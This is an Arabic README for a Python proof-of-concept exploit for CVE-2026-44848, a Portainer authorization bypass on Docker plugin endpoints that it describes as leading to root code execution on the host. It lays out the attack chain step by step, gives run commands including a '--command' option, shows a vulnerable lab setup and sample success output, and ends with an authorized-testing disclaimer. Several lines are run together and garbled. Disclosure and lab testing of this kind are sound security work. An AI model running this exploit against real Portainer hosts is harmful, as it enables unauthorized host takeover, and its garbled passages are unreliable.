
PoC لثغرة CVE-2026-44848: غياب التفويض في Portainer على نقاط نهاية إضافات Docker -> RCE على المضيف (GHSA-rrmm-9v76-h3p4). بايثون باستخدام المكتبة القياسية فقط.
إثبات المفهوم لثغرة CVE-2026-44848، وهي ثغرة انعدام المصادقة (CWE-862) في Portainer تتيح لمستخدم غير مسؤول (non-admin) يملك الوصول إلى نقطة نهاية Docker تنفيذ عمليات إضافات Docker ذات الامتيازات ← RCE كامل على المضيف.
استشارة GitHub الأمنية: GHSA-rrmm-9v76-h3p4 · CVSS 9.4 (حرجة).
يفرض Portainer التحكم في الوصول القائم على الأدوار (RBAC) فوق Docker API عبر تمرير
الطلبات من خلال معالجات لكل مورد تطبّق فحوصات التفويض. نقاط نهاية إدارة الإضافات
في Docker (/plugins/*) لم تُسجَّل مع معالج، لذلك
لا تعمل طبقة التفويض عليها أبدًا. نتيجةً لذلك، يمكن لمستخدم قياسي (Role 2) — أو أي
دور مُمنح وصولًا على مستوى نقطة النهاية — استدعاء عمليات إضافات مميزة مباشرةً ضد
خادم Docker الكامن (daemon):
POST /plugins/pull — سحب إضافة عشوائية من أي سجل (registry)CAP_SYS_ADMIN وتركيبات (mounts) لمسارات المضيفPOST /plugins/{name}/enable — يشغّل Docker الإضافة بصلاحيات root على المضيف بهذه
الإمكانيات ← وصول كامل لنظام ملفات المضيف وامتيازات معادلة لصلاحيات root على مضيف Docker>= 2.33.0, < 2.33.8>= 2.39.0, < 2.39.2>= 2.40.0, < 2.41.0البدائية الأساسية للثغرة، القابلة لإعادة الإنتاج بأمان: يمكن لمستخدم قياسي (غير مسؤول)
الوصول إلى واجهة Docker API المميزة /plugins/* عبر وكيل Portainer دون تفويض. يقوم بذلك
من البداية إلى النهاية ضد نسخة Portainer حقيقية قابلة للاستغلال:
POST /api/users/admin/init (يتحمل خطأ 409 ويعود إلى تسجيل الدخول).bob، Role 2)، متعاملًا مع خطأ 409 عبر إعادة تعيين كلمة مروره.POST /api/endpoints إذا لم يوجد أي منها) ويمنح bob الوصول عبر
PUT /api/endpoints/{id} UserAccessPolicies.bob (المستخدم غير المسؤول) ويستدعي
GET /api/endpoints/1/docker/plugins باستخدام رمز bob.# Defaults: https://localhost:9444, random admin password
python3 portainer_plugin_poc.py
# Explicit target + admin password + command
python3 portainer_plugin_poc.py --url https://localhost:9444 --admin-pass 'P@ssw0rd!' --command "id; hostname"
# Write a JSON summary
python3 portainer_plugin_poc.py --url https://localhost:9444 --output out.json
python3 portainer_plugin_poc.py --help
يتطلب مكتبة Python 3 القياسية فقط. تم تعطيل التحقق من TLS (شهادات مختبر موقعة ذاتيًا).
docker run -d --name portainer-lab-cve44848 \
-p 127.0.0.1:9444:9443 \
-v /var/run/docker.sock:/var/run/docker.sock \
portainer/portainer-ce:2.39.1 # vulnerable
AUTH-BYPASS CONFIRMED: standard user reached /plugins (HTTP 200)
=> PASS (missing auth / host-RCE primitive confirmed)
لأغراض البحث والاختبار الأمني المصرح به فقط. يمكن لخطوة التمكين (POST /plugins/*)
منح صلاحيات root على المضيف؛ يتوقف إثبات المفهوم هذا عند توضيح تجاوز التفويض
ولا يقوم بتمكين إضافة تخريبية/خبيثة. استخدمه فقط ضد أنظمة تملكها أو مخوّل باختبارها.